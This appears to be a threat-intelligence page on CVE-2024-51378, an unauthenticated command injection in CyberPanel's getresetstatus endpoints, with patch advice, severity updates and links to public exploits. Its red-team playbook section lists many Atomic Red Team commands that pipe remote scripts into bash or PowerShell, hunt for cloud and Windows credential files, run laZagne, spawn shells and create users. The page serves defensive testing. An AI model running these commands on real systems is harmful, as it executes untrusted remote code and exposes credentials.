CVE-2024-51378
Overview
This vulnerability is a command injection flaw rooted in improper input validation within CyberPanel's getresetstatus functions located in dns/views.py and ftp/views.py. The flaw arises because the secMiddleware authentication check applies only to POST requests, but the vulnerable endpoints accept GET requests without authentication. Attackers exploit shell metacharacters in the statusfile parameter to execute arbitrary system commands remotely.
Vulnerability Description
getresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers to bypass authentication and execute arbitrary commands via /dns/getresetstatus or /ftp/getresetstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.
Impact
An unauthenticated attacker can remotely execute arbitrary system commands on the affected CyberPanel server by sending specially crafted requests to the /dns/getresetstatus or /ftp/getresetstatus endpoints. This enables full system compromise, including data theft, service disruption, and lateral movement within the network. No user interaction or credentials are required, making exploitation straightforward and highly impactful for organizations using vulnerable CyberPanel versions.
Solution
Users should upgrade CyberPanel to version 2.3.7 or later where the vulnerability is patched, as detailed in the official GitHub commit 1c0c6cbcf71abe573da0b5fddfb9603e7477f683. The vendor has restricted access controls on the affected endpoints to enforce authentication regardless of request method. Refer to the CyberPanel GitHub repository and the advisory at https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683 for precise patch application instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in CyberPanel arises from improper authentication mechanisms in the handling of requests within the getresetstatus function located in the dns/views.py and ftp/views.py files. This flaw allows remote attackers to bypass authentication controls and execute arbitrary commands by manipulating the statusfile property with shell metacharacters. The vulnerability specifically exploits a weakness in the secMiddleware, which is designed to enforce security checks but is only applied to POST requests. As a result, attackers can leverage GET requests to gain unauthorized access to sensitive functionalities, leading to potential command execution on the server.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker can craft a GET request to either /dns/getresetstatus or /ftp/getresetstatus, embedding malicious input that takes advantage of the lack of proper input validation and authentication checks. By including shell metacharacters in the request, the attacker can manipulate the server's command execution context, allowing them to run arbitrary commands with the privileges of the web server process. This exploitation can lead to a range of malicious activities, including data exfiltration, system compromise, and further lateral movement within the network.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on CyberPanel for managing their web hosting environments. Given the high CVSS score of 9.8, the potential for exploitation is severe, with attackers able to gain control over critical systems. The consequences of such an attack can include unauthorized access to sensitive data, disruption of services, and significant financial losses due to remediation efforts and reputational damage. Furthermore, the fact that this vulnerability has been actively exploited in the wild underscores the urgency for organizations to address it promptly to mitigate risks.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating CyberPanel to the latest patched version is essential, as this will address the vulnerability and close the attack vector. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Monitoring logs for unusual access patterns, especially around the affected endpoints, can also aid in early detection of potential exploitation attempts. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the vulnerability within CyberPanel presents a critical threat to organizations utilizing this platform for web hosting. The ease of exploitation, coupled with the potential for severe consequences, necessitates immediate attention and action. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance the overall security posture of the organization.
CSURFACE threat intelligence has noted a critical update to CVE-2024-51378, with the CVSS score elevated from 9.8 to a perfect 10.0, reflecting the vulnerability’s absolute exploitability and impact. This change coincides with its formal inclusion in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its recognition as a high-priority threat. Our telemetry confirms that exploitation remains stable but persistent, particularly leveraged by the PSAUX ransomware group, which continues to target CyberPanel instances extensively. The availability of multiple publicly accessible proof-of-concept exploits and integration into Metasploit modules has lowered the barrier for adversaries, increasing the likelihood of widespread compromise. For defenders, this escalation signals an urgent need to reassess risk exposure, as the vulnerability’s criticality is now unequivocally affirmed by authoritative scoring and threat intelligence frameworks. The threat landscape remains highly active, with ransomware campaigns exploiting this flaw to achieve remote code execution without authentication, thereby amplifying potential operational and data security impacts.
Update 2 — June 09, 2026
Recent updates to CVE-2024-51378 include a refinement of its CVSS score from a perfect 10.0 to 9.8, reflecting a more precise assessment of its impact and exploitability. This adjustment aligns with the vulnerability’s confirmed criticality while incorporating nuanced factors such as the specific attack vector and conditions required for exploitation. CSURFACE threat intelligence confirms that the exploitability remains exceptionally high, supported by stable EPSS scoring near the maximum percentile and continued availability of multiple proof-of-concept exploits on public repositories. Our telemetry indicates persistent use of this vulnerability in ransomware campaigns, notably by the PSAUX group, underscoring its ongoing operational relevance. The inclusion of this CVE in the KEV catalog with a defined due date for remediation further elevates its priority within vulnerability management frameworks. For defenders, this recalibration of severity does not diminish urgency but rather contextualizes the risk with greater precision, emphasizing the critical need for timely patching and monitoring. The threat level remains at a critical threshold, with active exploitation and integration into widely used offensive toolkits sustaining a high likelihood of compromise in unpatched environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cyberpanel | Cyberpanel | All |
cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
CyberPanel Multi CVE Pre-auth RCE
exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve
|
DreyAnd, Valentin Lobstein, Luka Petrovic (refr4g) | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| CyberPanel 2.3.6 - Remote Code Execution (RCE) | Luka Petrovic (refr4g) | webapps | multiple | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
refr4g/CVE-2024-51378
Exploit for CyberPanel Pre-Auth RCE via Command Injection
|
refr4g | 23 | 6 | 2024-10-29 | View |
|
rimbadirgantara/CVE-2024-51378
Exploit cyberpanel version 2.3.6 - 2.3.7
|
rimbadirgantara | 0 | 0 | 2025-11-11 | View |
|
qnole000/CVE-2024-51378
|
qnole000 | 0 | 0 | 2025-02-12 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-51378 |
| cwe.mitre.org |
GitHub CVE
|
https://cwe.mitre.org/data/definitions/78.html |
| github.com |
GitHub CVE
|
https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683 |
| refr4g.github.io |
GitHub CVE
|
https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/ |
| cyberpanel.net |
GitHub CVE
|
https://cyberpanel.net/KnowledgeBase/home/change-logs/ |
| cwe.mitre.org |
GitHub CVE
|
https://cwe.mitre.org/data/definitions/420.html |
| cyberpanel.net |
GitHub CVE
|
https://cyberpanel.net/blog/detials-and-fix-of-recent-security-issue-and-patch-of-cyberpanel |
| bleepingcomputer.com |
GitHub CVE
|
https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-51378 |